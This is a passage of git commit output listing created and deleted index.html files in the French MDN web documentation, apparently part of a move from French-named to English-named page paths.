files/fr/web/guide/api/webrtc/index.html create mode 100644 files/fr/web/guide/api/webrtc/peer-to-peer_communications_with_webrtc/index.html delete mode 100644 files/fr/web/guide/api/webrtc/webrtc_architecture/index.html delete mode 100644 files/fr/web/guide/api/webrtc/webrtc_basics/index.html create mode 100644 files/fr/web/guide/css/block_formatting_context/index.html delete mode 100644 files/fr/web/guide/dom/events/creating_and_triggering_events/index.html delete mode 100644 files/fr/web/guide/dom/events/evenement_medias/index.html delete mode 100644 files/fr/web/guide/dom/events/index.html delete mode 100644 "files/fr/web/guide/dom/events/les_donn\303\251es_d_orientation_et_de_mouvement_expliqu\303\251es/index.html" delete mode 100644 "files/fr/web/guide/dom/events/touch_events/g\303\251rer_\303\240_la_fois_\303\251v\303\251nement_tactile_et_\303\251v\303\251nement_de_la_souris/index.html" delete mode 100644 files/fr/web/guide/dom/events/touch_events/index.html delete mode 100644 files/fr/web/guide/dom/index.html delete mode 100644 files/fr/web/guide/dom/manipuler_historique_du_navigateur/example/index.html delete mode 100644 files/fr/web/guide/dom/manipuler_historique_du_navigateur/index.html delete mode 100644 files/fr/web/guide/dom/using_full_screen_mode/index.html create mode 100644 files/fr/web/guide/events/creating_and_triggering_events/index.html create mode 100644 files/fr/web/guide/events/index.html create mode 100644 files/fr/web/guide/events/media_events/index.html create mode 100644 files/fr/web/guide/events/orientation_and_motion_data_explained/index.html delete mode 100644 files/fr/web/guide/graphics/dessiner_avec_canvas/index.html delete mode 100644 "files/fr/web/guide/html/astuces_de_cr\303\251ation_de_pages_html_\303\240_affichage_rapide/index.html" delete mode 100644 "files/fr/web/guide/html/cat\303\251gories_de_contenu/index.html" create mode 100644 files/fr/web/guide/html/content_categories/index.html create mode 100644 files/fr/web/guide/html/editable_content/index.html delete mode 100644 files/fr/web/guide/html/formulaires/advanced_styling_for_html_forms/index.html delete mode 100644 files/fr/web/guide/html/formulaires/apparence_des_formulaires_html/index.html delete mode 100644 "files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalis\303\251s/example_3/index.html" delete mode 100644 "files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalis\303\251s/example_4/index.html" delete mode 100644 "files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalis\303\251s/example_5/index.html" delete mode 100644 "files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalis\303\251s/exemple_1/index.html" delete mode 100644 "files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalis\303\251s/exemple_2/index.html" delete mode 100644 "files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalis\303\251s/index.html" delete mode 100644 files/fr/web/guide/html/formulaires/comment_structurer_un_formulaire_html/exemple/index.html delete mode 100644 files/fr/web/guide/html/formulaires/comment_structurer_un_formulaire_html/index.html delete mode 100644 "files/fr/web/guide/html/formulaires/envoyer_et_extraire_les_donn\303\251es_des_formulaires/index.html" delete mode 100644 files/fr/web/guide/html/formulaires/html_forms_in_legacy_browsers/index.html delete mode 100644 files/fr/web/guide/html/formulaires/index.html delete mode 100644 files/fr/web/guide/html/formulaires/les_blocs_de_formulaires_natifs/index.html delete mode 100644 files/fr/web/guide/html/formulaires/mon_premier_formulaire_html/exemple/index.html delete mode 100644 files/fr/web/guide/html/formulaires/mon_premier_formulaire_html/index.html delete mode 100644 files/fr/web/guide/html/formulaires/property_compatibility_table_for_form_widgets/index.html delete mode 100644 files/fr/web/guide/html/formulaires/sending_forms_through_javascript/index.html delete mode 100644 files/fr/web/guide/html/formulaires/validation_donnees_formulaire/index.html create mode 100644 files/fr/web/guide/html/html5/introduction_to_html5/index.html delete mode 100644 "files/fr/web/guide/html/html5/liste_des_\303\251l\303\251ments_html5/index.html" delete mode 100644 files/fr/web/guide/html/liens_email/index.html create mode 100644 files/fr/web/guide/html/using_html_sections_and_outlines/index.html create mode 100644 files/fr/web/guide/introduction_to_web_development/index.html delete mode 100644 files/fr/web/guide/using_formdata_objects/index.html create mode 100644 files/fr/web/guide/writing_forward-compatible_websites/index.html delete mode 100644 files/fr/web/html/appliquer_des_couleurs/index.html create mode 100644 files/fr/web/html/applying_color/index.html create mode 100644 files/fr/web/html/attributes/autocomplete/index.html create mode 100644 files/fr/web/html/attributes/crossorigin/index.html create mode 100644 files/fr/web/html/attributes/index.html create mode 100644 files/fr/web/html/attributes/pattern/index.html delete mode 100644 files/fr/web/html/attributs/autocomplete/index.html delete mode 100644 files/fr/web/html/attributs/index.html delete mode 100644 files/fr/web/html/attributs/pattern/index.html delete mode 100644 files/fr/web/html/attributs_universels/accesskey/index.html delete mode 100644 files/fr/web/html/attributs_universels/autocapitalize/index.html delete mode 100644 files/fr/web/html/attributs_universels/class/index.html delete mode 100644 files/fr/web/html/attributs_universels/contenteditable/index.html delete mode 100644 files/fr/web/html/attributs_universels/contextmenu/index.html delete mode 100644 files/fr/web/html/attributs_universels/data-_star_/index.html delete mode 100644 files/fr/web/html/attributs_universels/dir/index.html delete mode 100644 files/fr/web/html/attributs_universels/draggable/index.html delete mode 100644 files/fr/web/html/attributs_universels/dropzone/index.html delete mode 100644 files/fr/web/html/attributs_universels/hidden/index.html delete mode 100644 files/fr/web/html/attributs_universels/id/index.html delete mode 100644 files/fr/web/html/attributs_universels/index.html delete mode 100644 files/fr/web/html/attributs_universels/inputmode/index.html delete mode 100644 files/fr/web/html/attributs_universels/is/index.html delete mode 100644 files/fr/web/html/attributs_universels/itemid/index.html delete mode 100644 files/fr/web/html/attributs_universels/itemprop/index.html delete mode 100644 files/fr/web/html/attributs_universels/itemref/index.html delete mode 100644 files/fr/web/html/attributs_universels/itemscope/index.html delete mode 100644 files/fr/web/html/attributs_universels/itemtype/index.html delete mode 100644 files/fr/web/html/attributs_universels/lang/index.html delete mode 100644 files/fr/web/html/attributs_universels/slot/index.html delete mode 100644 files/fr/web/html/attributs_universels/spellcheck/index.html delete mode 100644 files/fr/web/html/attributs_universels/style/index.html delete mode 100644 files/fr/web/html/attributs_universels/tabindex/index.html delete mode 100644 files/fr/web/html/attributs_universels/title/index.html delete mode 100644 files/fr/web/html/attributs_universels/translate/index.html delete mode 100644 files/fr/web/html/attributs_universels/x-ms-acceleratorkey/index.html delete mode 100644 files/fr/web/html/attributs_universels/x-ms-format-detection/index.html create mode 100644 files/fr/web/html/block-level_elements/index.html delete mode 100644 files/fr/web/html/contenu_editable/index.html create mode 100644 files/fr/web/html/cors_enabled_image/index.html create mode 100644 files/fr/web/html/date_and_time_formats/index.html delete mode 100644 files/fr/web/html/element/command/index.html delete mode 100644 files/fr/web/html/element/element/index.html delete mode 100644 files/fr/web/html/formats_date_heure_html/index.html create mode 100644 files/fr/web/html/global_attributes/accesskey/index.html create mode 100644 files/fr/web/html/global_attributes/autocapitalize/index.html create mode 100644 files/fr/web/html/global_attributes/class/index.html create mode 100644 files/fr/web/html/global_attributes/contenteditable/index.html create mode 100644 files/fr/web/html/global_attributes/contextmenu/index.html create mode 100644 files/fr/web/html/global_attributes/data-_star_/index.html create mode 100644 files/fr/web/html/global_attributes/dir/index.html create mode 100644 files/fr/web/html/global_attributes/draggable/index.html create mode 100644 files/fr/web/html/global_attributes/hidden/index.html create mode 100644 files/fr/web/html/global_attributes/id/index.html create mode 100644 files/fr/web/html/global_attributes/index.html create mode 100644 files/fr/web/html/global_attributes/inputmode/index.html create mode 100644 files/fr/web/html/global_attributes/is/index.html create mode 100644 files/fr/web/html/global_attributes/itemid/index.html create mode 100644 files/fr/web/html/global_attributes/itemprop/index.html create mode 100644 files/fr/web/html/global_attributes/itemref/index.html create mode 100644 files/fr/web/html/global_attributes/itemscope/index.html create mode 100644 files/fr/web/html/global_attributes/itemtype/index.html create mode 100644 files/fr/web/html/global_attributes/lang/index.html create mode 100644 files/fr/web/html/global_attributes/slot/index.html create mode 100644 files/fr/web/html/global_attributes/spellcheck/index.html create mode 100644 files/fr/web/html/global_attributes/style/index.html create mode 100644 files/fr/web/html/global_attributes/tabindex/index.html create mode 100644 files/fr/web/html/global_attributes/title/index.html create mode 100644 files/fr/web/html/global_attributes/translate/index.html create mode 100644 files/fr/web/html/global_attributes/x-ms-acceleratorkey/index.html create mode 100644 files/fr/web/html/global_attributes/x-ms-format-detection/index.html delete mode 100644 "files/fr/web/html/images_avec_le_contr\303\264le_d_acc\303\250s_http/index.html" create mode 100644 files/fr/web/html/inline_elements/index.html delete mode 100644 files/fr/web/html/introduction_to_html5/index.html create mode 100644 files/fr/web/html/link_types/index.html create mode 100644 files/fr/web/html/microdata/index.html delete mode 100644 "files/fr/web/html/microdonn\303\251es/index.html" delete mode 100644 files/fr/web/html/optimizing_your_pages_for_speculative_parsing/index.html create mode 100644 files/fr/web/html/preloading_content/index.html delete mode 100644 "files/fr/web/html/pr\303\251charger_du_contenu/index.html" delete mode 100644 files/fr/web/html/reglages_des_attributs_cors/index.html delete mode 100644 files/fr/web/html/sections_and_outlines_of_an_html5_document/index.html delete mode 100644 files/fr/web/html/types_de_lien/index.html create mode 100644 files/fr/web/html/using_the_application_cache/index.html delete mode 100644 files/fr/web/html/utilisation_d'audio_et_video_en_html5/index.html delete mode 100644 files/fr/web/html/utiliser_application_cache/index.html delete mode 100644 "files/fr/web/html/utiliser_dash_avec_les_vid\303\251os_en_html/index.html" delete mode 100644 "files/fr/web/html/\303\251l\303\251ments_en_bloc/index.html" delete mode 100644 "files/fr/web/html/\303\251l\303\251ments_en_ligne/index.html" delete mode 100644 "files/fr/web/http/aper\303\247u/index.html" delete mode 100644 files/fr/web/http/basics_of_http/choisir_entre_les_urls_www_sans_www/index.html create mode 100644 files/fr/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.html delete mode 100644 files/fr/web/http/basics_of_http/identifier_des_ressources_sur_le_web/index.html create mode 100644 files/fr/web/http/basics_of_http/identifying_resources_on_the_web/index.html create mode 100644 files/fr/web/http/basics_of_http/resource_urls/index.html delete mode 100644 files/fr/web/http/basics_of_http/urls_de_type_ressource/index.html create mode 100644 files/fr/web/http/browser_detection_using_the_user_agent/index.html delete mode 100644 files/fr/web/http/cache/index.html create mode 100644 files/fr/web/http/caching/index.html create mode 100644 files/fr/web/http/conditional_requests/index.html delete mode 100644 files/fr/web/http/cors/errors/corsalloworiginmanquant/index.html delete mode 100644 files/fr/web/http/cors/errors/corsalloworiginnecorrespondpas/index.html create mode 100644 files/fr/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html delete mode 100644 files/fr/web/http/cors/errors/corsdesactive/index.html create mode 100644 files/fr/web/http/cors/errors/corsdidnotsucceed/index.html create mode 100644 files/fr/web/http/cors/errors/corsdisabled/index.html create mode 100644 files/fr/web/http/cors/errors/corsmissingalloworigin/index.html delete mode 100644 "files/fr/web/http/cors/errors/corsnapasr\303\251ussi/index.html" delete mode 100644 files/fr/web/http/detection_du_navigateur_en_utilisant_le_user_agent/index.html delete mode 100644 "files/fr/web/http/faq_sur_le_pr\303\251chargement_des_liens/index.html" create mode 100644 files/fr/web/http/headers/server/index.html delete mode 100644 files/fr/web/http/headers/serveur/index.html create mode 100644 files/fr/web/http/link_prefetching_faq/index.html create mode 100644 files/fr/web/http/methods/connect/index.html create mode 100644 files/fr/web/http/methods/delete/index.html create mode 100644 files/fr/web/http/methods/get/index.html create mode 100644 files/fr/web/http/methods/head/index.html create mode 100644 files/fr/web/http/methods/index.html create mode 100644 files/fr/web/http/methods/options/index.html create mode 100644 files/fr/web/http/methods/patch/index.html create mode 100644 files/fr/web/http/methods/post/index.html create mode 100644 files/fr/web/http/methods/put/index.html create mode 100644 files/fr/web/http/methods/trace/index.html delete mode 100644 "files/fr/web/http/m\303\251thode/connect/index.html" delete mode 100644 "files/fr/web/http/m\303\251thode/delete/index.html" delete mode 100644 "files/fr/web/http/m\303\251thode/get/index.html" delete mode 100644 "files/fr/web/http/m\303\251thode/head/index.html" delete mode 100644 "files/fr/web/http/m\303\251thode/index.html" delete mode 100644 "files/fr/web/http/m\303\251thode/options/index.html" delete mode 100644 "files/fr/web/http/m\303\251thode/patch/index.html" delete mode 100644 "files/fr/web/http/m\303\251thode/post/index.html" delete mode 100644 "files/fr/web/http/m\303\251thode/put/index.html" delete mode 100644 "files/fr/web/http/m\303\251thode/trace/index.html" create mode 100644 files/fr/web/http/overview/index.html create mode 100644 files/fr/web/http/public_key_pinning/index.html delete mode 100644 "files/fr/web/http/requ\303\252tes_conditionnelles/index.html" delete mode 100644 files/fr/web/javascript/a_propos/index.html create mode 100644 files/fr/web/javascript/a_re-introduction_to_javascript/index.html create mode 100644 files/fr/web/javascript/about_javascript/index.html delete mode 100644 "files/fr/web/javascript/caract\303\250re_\303\251num\303\251rable_des_propri\303\251t\303\251s_et_rattachement/index.html" delete mode 100644 "files/fr/web/javascript/concurrence_et_boucle_des_\303\251v\303\251nements/index.html" create mode 100644 files/fr/web/javascript/data_structures/index.html create mode 100644 files/fr/web/javascript/enumerability_and_ownership_of_properties/index.html create mode 100644 files/fr/web/javascript/equality_comparisons_and_sameness/index.html create mode 100644 files/fr/web/javascript/eventloop/index.html delete mode 100644 "files/fr/web/javascript/gestion_de_la_m\303\251moire/index.html" delete mode 100644 files/fr/web/javascript/guide/apropos/index.html delete mode 100644 "files/fr/web/javascript/guide/boucles_et_it\303\251ration/index.html" delete mode 100644 "files/fr/web/javascript/guide/collections_avec_cl\303\251s/index.html" delete mode 100644 "files/fr/web/javascript/guide/collections_index\303\251es/index.html" create mode 100644 files/fr/web/javascript/guide/control_flow_and_error_handling/index.html delete mode 100644 "files/fr/web/javascript/guide/contr\303\264le_du_flux_gestion_des_erreurs/index.html" create mode 100644 files/fr/web/javascript/guide/details_of_the_object_model/index.html create mode 100644 files/fr/web/javascript/guide/expressions_and_operators/index.html delete mode 100644 "files/fr/web/javascript/guide/expressions_et_op\303\251rateurs/index.html" delete mode 100644 "files/fr/web/javascript/guide/expressions_r\303\251guli\303\250res/assertions/index.html" delete mode 100644 "files/fr/web/javascript/guide/expressions_r\303\251guli\303\250res/classes_de_caract\303\250res/index.html" delete mode 100644 "files/fr/web/javascript/guide/expressions_r\303\251guli\303\250res/groupes_et_intervalles/index.html" delete mode 100644 "files/fr/web/javascript/guide/expressions_r\303\251guli\303\250res/index.html" delete mode 100644 "files/fr/web/javascript/guide/expressions_r\303\251guli\303\250res/limites/index.html" delete mode 100644 "files/fr/web/javascript/guide/expressions_r\303\251guli\303\250res/quantificateurs/index.html" delete mode 100644 "files/fr/web/javascript/guide/expressions_r\303\251guli\303\250res/\303\251chappement_propri\303\251t\303\251s_unicode/index.html" delete mode 100644 files/fr/web/javascript/guide/fonctions/index.html delete mode 100644 files/fr/web/javascript/guide/formatage_du_texte/index.html create mode 100644 files/fr/web/javascript/guide/functions/index.html create mode 100644 files/fr/web/javascript/guide/grammar_and_types/index.html create mode 100644 files/fr/web/javascript/guide/indexed_collections/index.html delete mode 100644 files/fr/web/javascript/guide/iterateurs_et_generateurs/index.html create mode 100644 files/fr/web/javascript/guide/iterators_and_generators/index.html delete mode 100644 files/fr/web/javascript/guide/javascript_overview/index.html create mode 100644 files/fr/web/javascript/guide/keyed_collections/index.html delete mode 100644 "files/fr/web/javascript/guide/le_mod\303\250le_objet_javascript_en_d\303\251tails/index.html" delete mode 100644 "files/fr/web/javascript/guide/le_protocole_it\303\251rateur_historique/index.html" create mode 100644 files/fr/web/javascript/guide/loops_and_iteration/index.html create mode 100644 files/fr/web/javascript/guide/meta_programming/index.html delete mode 100644 "files/fr/web/javascript/guide/m\303\251taprogrammation/index.html" delete mode 100644 files/fr/web/javascript/guide/nombres_et_dates/index.html create mode 100644 files/fr/web/javascript/guide/numbers_and_dates/index.html delete mode 100644 "files/fr/web/javascript/guide/objets_\303\251l\303\251mentaires_javascript/index.html" create mode 100644 files/fr/web/javascript/guide/regular_expressions/assertions/index.html create mode 100644 files/fr/web/javascript/guide/regular_expressions/character_classes/index.html create mode 100644 files/fr/web/javascript/guide/regular_expressions/groups_and_ranges/index.html create mode 100644 files/fr/web/javascript/guide/regular_expressions/index.html create mode 100644 files/fr/web/javascript/guide/regular_expressions/quantifiers/index.html create mode 100644 files/fr/web/javascript/guide/regular_expressions/unicode_property_escapes/index.html delete mode 100644 "files/fr/web/javascript/guide/retours_sur_h\303\251ritage/index.html" create mode 100644 files/fr/web/javascript/guide/text_formatting/index.html delete mode 100644 files/fr/web/javascript/guide/types_et_grammaire/index.html create mode 100644 files/fr/web/javascript/guide/using_promises/index.html delete mode 100644 files/fr/web/javascript/guide/utiliser_le_json_natif/index.html delete mode 100644 files/fr/web/javascript/guide/utiliser_les_objets/index.html delete mode 100644 files/fr/web/javascript/guide/utiliser_les_promesses/index.html create mode 100644 files/fr/web/javascript/guide/working_with_objects/index.html delete mode 100644 "files/fr/web/javascript/guide/\303\251galit\303\251_en_javascript/index.html" delete mode 100644 files/fr/web/javascript/guide_de_demarrage/index.html delete mode 100644 "files/fr/web/javascript/h\303\251ritage_et_cha\303\256ne_de_prototypes/index.html" create mode 100644 files/fr/web/javascript/inheritance_and_the_prototype_chain/index.html delete mode 100644 "files/fr/web/javascript/introduction_\303\240_javascript_orient\303\251_objet/index.html" delete mode 100644 "files/fr/web/javascript/introduction_\303\240_l_utilisation_de_xpath_avec_javascript/index.html" delete mode 100644 "files/fr/web/javascript/les_diff\303\251rents_tests_d_\303\251galit\303\251/index.html" create mode 100644 files/fr/web/javascript/memory_management/index.html delete mode 100644 "files/fr/web/javascript/performance_les_dangers_li\303\251s_\303\240_la_modification_de_prototype/index.html" delete mode 100644 files/fr/web/javascript/reference/a_propos/index.html create mode 100644 files/fr/web/javascript/reference/about/index.html delete mode 100644 files/fr/web/javascript/reference/classes/class_fields/index.html create mode 100644 files/fr/web/javascript/reference/classes/public_class_fields/index.html create mode 100644 files/fr/web/javascript/reference/deprecated_and_obsolete_features/index.html create mode 100644 files/fr/web/javascript/reference/deprecated_and_obsolete_features/the_legacy_iterator_protocol/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/already_has_pragma/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/array_sort_argument/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/bad_octal/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/bad_radix/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/bad_regexp_flag/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/bad_return_or_yield/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/called_on_incompatible_type/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/cant_access_lexical_declaration_before_init/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/cant_access_property/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/cant_assign_to_property/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/cant_define_property_object_not_extensible/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/cant_delete/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/cant_redefine_property/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/cyclic_object_value/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/dead_object/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/delete_in_strict_mode/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/deprecated_caller_or_arguments_usage/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/deprecated_expression_closures/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/deprecated_octal/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/deprecated_source_map_pragma/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/deprecated_string_generics/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/deprecated_tolocaleformat/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/equal_as_assign/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/for-each-in_loops_are_deprecated/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/getter_only/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/identifier_after_number/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/illegal_character/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/in_operator_no_object/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/invalid_array_length/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/invalid_assignment_left-hand_side/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/invalid_const_assignment/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/invalid_date/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/invalid_for-in_initializer/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/invalid_for-of_initializer/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/invalid_right_hand_side_instanceof_operand/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/is_not_iterable/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/json_bad_parse/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/malformed_formal_parameter/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/malformed_uri/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/missing_bracket_after_list/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/missing_colon_after_property_id/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/missing_curly_after_function_body/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/missing_curly_after_property_list/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/missing_formal_parameter/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/missing_initializer_in_const/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/missing_name_after_dot_operator/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/missing_parenthesis_after_argument_list/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/missing_parenthesis_after_condition/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/missing_semicolon_before_statement/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/more_arguments_needed/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/negative_repetition_count/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/no_non-null_object/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/no_properties/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/no_variable_name/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/non_configurable_array_element/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/not_a_codepoint/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/not_a_constructor/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/not_a_function/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/not_defined/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/precision_range/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/property_access_denied/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/read-only/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/redeclared_parameter/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/reduce_of_empty_array_with_no_initial_value/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/reserved_identifier/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/resulting_string_too_large/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/stmt_after_return/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/strict_non_simple_params/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/too_much_recursion/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/typed_array_invalid_arguments/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/undeclared_var/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/undefined_prop/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/unexpected_token/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/unexpected_type/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/unnamed_function_statement/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/unterminated_string_literal/index.html delete mode 100644 files/fr/web/javascript/reference/erreurs/var_hides_argument/index.html create mode 100644 files/fr/web/javascript/reference/errors/already_has_pragma/index.html create mode 100644 files/fr/web/javascript/reference/errors/array_sort_argument/index.html create mode 100644 files/fr/web/javascript/reference/errors/bad_octal/index.html create mode 100644 files/fr/web/javascript/reference/errors/bad_radix/index.html create mode 100644 files/fr/web/javascript/reference/errors/bad_regexp_flag/index.html create mode 100644 files/fr/web/javascript/reference/errors/bad_return_or_yield/index.html create mode 100644 files/fr/web/javascript/reference/errors/called_on_incompatible_type/index.html create mode 100644 files/fr/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.html create mode 100644 files/fr/web/javascript/reference/errors/cant_access_property/index.html create mode 100644 files/fr/web/javascript/reference/errors/cant_assign_to_property/index.html create mode 100644 files/fr/web/javascript/reference/errors/cant_define_property_object_not_extensible/index.html create mode 100644 files/fr/web/javascript/reference/errors/cant_delete/index.html create mode 100644 files/fr/web/javascript/reference/errors/cant_redefine_property/index.html create mode 100644 files/fr/web/javascript/reference/errors/cyclic_object_value/index.html create mode 100644 files/fr/web/javascript/reference/errors/dead_object/index.html create mode 100644 files/fr/web/javascript/reference/errors/delete_in_strict_mode/index.html create mode 100644 files/fr/web/javascript/reference/errors/deprecated_caller_or_arguments_usage/index.html create mode 100644 files/fr/web/javascript/reference/errors/deprecated_expression_closures/index.html create mode 100644 files/fr/web/javascript/reference/errors/deprecated_octal/index.html create mode 100644 files/fr/web/javascript/reference/errors/deprecated_source_map_pragma/index.html create mode 100644 files/fr/web/javascript/reference/errors/deprecated_string_generics/index.html create mode 100644 files/fr/web/javascript/reference/errors/deprecated_tolocaleformat/index.html create mode 100644 files/fr/web/javascript/reference/errors/equal_as_assign/index.html create mode 100644 files/fr/web/javascript/reference/errors/for-each-in_loops_are_deprecated/index.html create mode 100644 files/fr/web/javascript/reference/errors/getter_only/index.html create mode 100644 files/fr/web/javascript/reference/errors/identifier_after_number/index.html create mode 100644 files/fr/web/javascript/reference/errors/illegal_character/index.html create mode 100644 files/fr/web/javascript/reference/errors/in_operator_no_object/index.html create mode 100644 files/fr/web/javascript/reference/errors/index.html create mode 100644 files/fr/web/javascript/reference/errors/invalid_array_length/index.html create mode 100644 files/fr/web/javascript/reference/errors/invalid_assignment_left-hand_side/index.html create mode 100644 files/fr/web/javascript/reference/errors/invalid_const_assignment/index.html create mode 100644 files/fr/web/javascript/reference/errors/invalid_date/index.html create mode 100644 files/fr/web/javascript/reference/errors/invalid_for-in_initializer/index.html create mode 100644 files/fr/web/javascript/reference/errors/invalid_for-of_initializer/index.html create mode 100644 files/fr/web/javascript/reference/errors/invalid_right_hand_side_instanceof_operand/index.html create mode 100644 files/fr/web/javascript/reference/errors/is_not_iterable/index.html create mode 100644 files/fr/web/javascript/reference/errors/json_bad_parse/index.html create mode 100644 files/fr/web/javascript/reference/errors/malformed_formal_parameter/index.html create mode 100644 files/fr/web/javascript/reference/errors/malformed_uri/index.html create mode 100644 files/fr/web/javascript/reference/errors/missing_bracket_after_list/index.html create mode 100644 files/fr/web/javascript/reference/errors/missing_colon_after_property_id/index.html create mode 100644 files/fr/web/javascript/reference/errors/missing_curly_after_function_body/index.html create mode 100644 files/fr/web/javascript/reference/errors/missing_curly_after_property_list/index.html create mode 100644 files/fr/web/javascript/reference/errors/missing_formal_parameter/index.html create mode 100644 files/fr/web/javascript/reference/errors/missing_initializer_in_const/index.html create mode 100644 files/fr/web/javascript/reference/errors/missing_name_after_dot_operator/index.html create mode 100644 files/fr/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html create mode 100644 files/fr/web/javascript/reference/errors/missing_parenthesis_after_condition/index.html create mode 100644 files/fr/web/javascript/reference/errors/missing_semicolon_before_statement/index.html create mode 100644 files/fr/web/javascript/reference/errors/more_arguments_needed/index.html create mode 100644 files/fr/web/javascript/reference/errors/negative_repetition_count/index.html create mode 100644 files/fr/web/javascript/reference/errors/no_non-null_object/index.html create mode 100644 files/fr/web/javascript/reference/errors/no_properties/index.html create mode 100644 files/fr/web/javascript/reference/errors/no_variable_name/index.html create mode 100644 files/fr/web/javascript/reference/errors/non_configurable_array_element/index.html create mode 100644 files/fr/web/javascript/reference/errors/not_a_codepoint/index.html create mode 100644 files/fr/web/javascript/reference/errors/not_a_constructor/index.html create mode 100644 files/fr/web/javascript/reference/errors/not_a_function/index.html create mode 100644 files/fr/web/javascript/reference/errors/not_defined/index.html create mode 100644 files/fr/web/javascript/reference/errors/precision_range/index.html create mode 100644 files/fr/web/javascript/reference/errors/property_access_denied/index.html create mode 100644 files/fr/web/javascript/reference/errors/read-only/index.html create mode 100644 files/fr/web/javascript/reference/errors/redeclared_parameter/index.html create mode 100644 files/fr/web/javascript/reference/errors/reduce_of_empty_array_with_no_initial_value/index.html create mode 100644 files/fr/web/javascript/reference/errors/reserved_identifier/index.html create mode 100644 files/fr/web/javascript/reference/errors/resulting_string_too_large/index.html create mode 100644 files/fr/web/javascript/reference/errors/stmt_after_return/index.html create mode 100644 files/fr/web/javascript/reference/errors/strict_non_simple_params/index.html create mode 100644 files/fr/web/javascript/reference/errors/too_much_recursion/index.html create mode 100644 files/fr/web/javascript/reference/errors/typed_array_invalid_arguments/index.html create mode 100644 files/fr/web/javascript/reference/errors/undeclared_var/index.html create mode 100644 files/fr/web/javascript/reference/errors/undefined_prop/index.html create mode 100644 files/fr/web/javascript/reference/errors/unexpected_token/index.html create mode 100644 files/fr/web/javascript/reference/errors/unexpected_type/index.html create mode 100644 files/fr/web/javascript/reference/errors/unnamed_function_statement/index.html create mode 100644 files/fr/web/javascript/reference/errors/unterminated_string_literal/index.html create mode 100644 